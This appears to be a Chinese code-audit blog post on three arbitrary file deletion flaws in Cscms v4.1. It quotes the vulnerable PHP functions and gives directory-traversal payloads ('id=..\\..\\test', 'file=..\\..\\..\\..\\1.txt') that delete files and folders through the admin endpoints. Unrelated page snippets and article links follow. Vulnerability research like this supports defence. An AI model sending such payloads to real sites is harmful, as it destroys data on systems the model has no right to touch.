【代码审计】Cscms_v4.1 任意文件删除漏洞实例
环境搭建:
CSCMS :http://www.chshcms.com/
网站源码版本:Cscms_v4.1正式版(发布日期:2017-06-05)
程序源码下载:https://github.com/chshcms/cscms
漏洞实例一:
漏洞文件位置:\cscms\plugins\sys\admin\Basedb.php 第160-177行:
public function del(){
$dir = $this->input->get_post('id',true);
if(empty($dir)){
getjson(L('plub_11'));
}
$dirs = array();
if(!is_array($dir)){
$dirs[] = $dir;
}else{
$dirs = $dir;
}
foreach($dirs as $dir) {
deldir(FCPATH.'attachment/backup/'.$dir);
}
$info['msg'] = L('plub_12');
$info['url'] = site_url('basedb/restore').'?v='.rand(1000,9999);
getjson($info,0);
}
漏洞利用:
1、 根目录下新建test目录作为测试:

2、 构造参数成功删除test目录
http://127.0.0.1/admin.php/basedb/del
POST:id=..\\..\\test

漏洞实例二:
漏洞文件位置:/plugins/sys/admin/Skin.php 第418--440行:
public function del(){
$ac = $this->input->get('ac',true);
$op = $this->input->get('op',true);
$dir = $this->input->get('dirs',true);
$file = $this->input->get('file');
if($ac!='mobile') $ac='pc';
if($op!='home' && $op!='user') $op='skins';
if(empty($dir)) getjson(L('plub_27'));
$skin_dir = VIEWPATH.$ac.FGF.$op.FGF.$dir.FGF.$file;
if (!is_dir($skin_dir)) { //文件
$res=unlink($skin_dir);
}else{ //目录
$res=deldir($skin_dir);
}
if($res){
$info['url'] = site_url('skin').'?ac='.$ac.'&op='.$op.'&v='.rand(1000,9999);
$info['msg'] = L('plub_46');
$info['turn'] = 1;
getjson($info,0);
}else{
getjson(L('plub_28'));
}
漏洞利用:
网站根目录下新建1.txt文件作为测试,构造URL成功删除文件
Payload:http://127.0.0.1/admin.php/skin/del?ac=pc&op=skins&dirs=default&file=..\\..\\..\\..\\1.txt

漏洞实例三:
漏洞文件位置:/plugins/sys/admin/Plugins.php 第285-299行:
public function del(){
$dir = $this->input->get_post('dir',true);
if($dir==''){
getjson(L('plub_del_0'),1);
}
deldir(FCPATH.'plugins'.FGF.$dir.FGF);
//删除配置目录
deldir(CSCMS.$dir.FGF);
//删除模板目录
deldir(FCPATH.'tpl/admin/'.$dir.FGF);
$info['func'] = __FUNCTION__;
$info['msg'] = L('plub_del_1');
getjson($info,0);
}
漏洞利用:

最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。

【代码审计】Cscms_v4.1 任意文件删除漏洞实例的更多相关文章
- 【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析
0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...
- 【代码审计】XIAOCMS_后台database.php页面存在任意文件删除漏洞
0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...
- 【代码审计】XYHCMS V3.5任意文件删除漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析
0x00 环境准备 TuziCMS官网:http://www.tuzicms.com/ 网站源码版本:TuziCMS_v3.0_20161220 程序源码下载:http://www.tuzicms ...
- 【代码审计】XIAOCMS_存在任意文件删除漏洞分析
0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...
- 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件删除漏洞分析
0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...
- 【代码审计】QYKCMS_v4.3.2 任意文件删除漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- 【代码审计】iZhanCMS_v2.1 后台任意文件删除漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
- 【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...
随机推荐
- R语言比较运算符和逻辑运算符
比较运算:>,<,>=,<=,==,!=.(大于,小于,大于等于,小于等于,等于,不等于.) 逻辑运算:&,|,!.(与,或,非.)
- vnc viewer on Ubuntu
我使用的是putty和SSL/SSH Vnc Viewer.因为刚入坑,也希望小白们能少走弯路,所以本贴写得比较细. 先说说vnc server和 vnc viewer的区别:server用于服务器, ...
- python-函数中的参数类型和可变参数解析
最近,在学习python,天天抱着廖雪峰的教材苦练,https://www.liaoxuefeng.com/ 但廖老毕竟是如此的才华盈溢,我这等小辈真是读起来教程都有些费力. 关于python-函数中 ...
- c++11 std::move() 的使用
std::move函数可以以非常简单的方式将左值引用转换为右值引用.(左值.左值引用.右值.右值引用 参见:http://www.cnblogs.com/SZxiaochun/p/8017475.ht ...
- Prolog学习:数独和八皇后问题
上一篇简单介绍了下Prolog的一些基本概念,今天我们来利用这些基本概念解决两个问题:数独和八皇后问题. 数独 数独是一个很经典的游戏: 玩家需要根据n×n盘面上的已知数字,推理出所有剩余空格的数字, ...
- 用Visual C#创建Windows服务程序
一.Windows服务介绍: Windows服务以前被称作NT服务,是一些运行在Windows NT.Windows 2000和Windows XP等操作系统下用户环境以外的程序.在以前,编写Wind ...
- Eclipse/MyEclipse上配置Spring环境
在MyEclipse上配置Spring环境 myeclipse其实已经集成Spring的开发环境,我们只需在新建的项目上添加spring的配置环境就可以 新建一个java项目 选中创建好的项目之后,在 ...
- C#-----------------------------回收机制中Destroy与null的作用
关于Object被Destroy之后,该Object的原引用==null的问题 标签: unityc#继承对象 2017-01-23 23:32 506人阅读 评论(0) 收藏 举报 分类: Uni ...
- C# wkhtmltopdf 将html转pdf
一.转换程序代码如下: public string HtmlToPdf(string url) { bool success = true; // string dwbh = url.Split('? ...
- 树莓派获取ip地址发送到邮箱
公网 ip.sh curl http://members.3322.org/dyndns/getip >>/email/ip.log python /email/mail.py ##### ...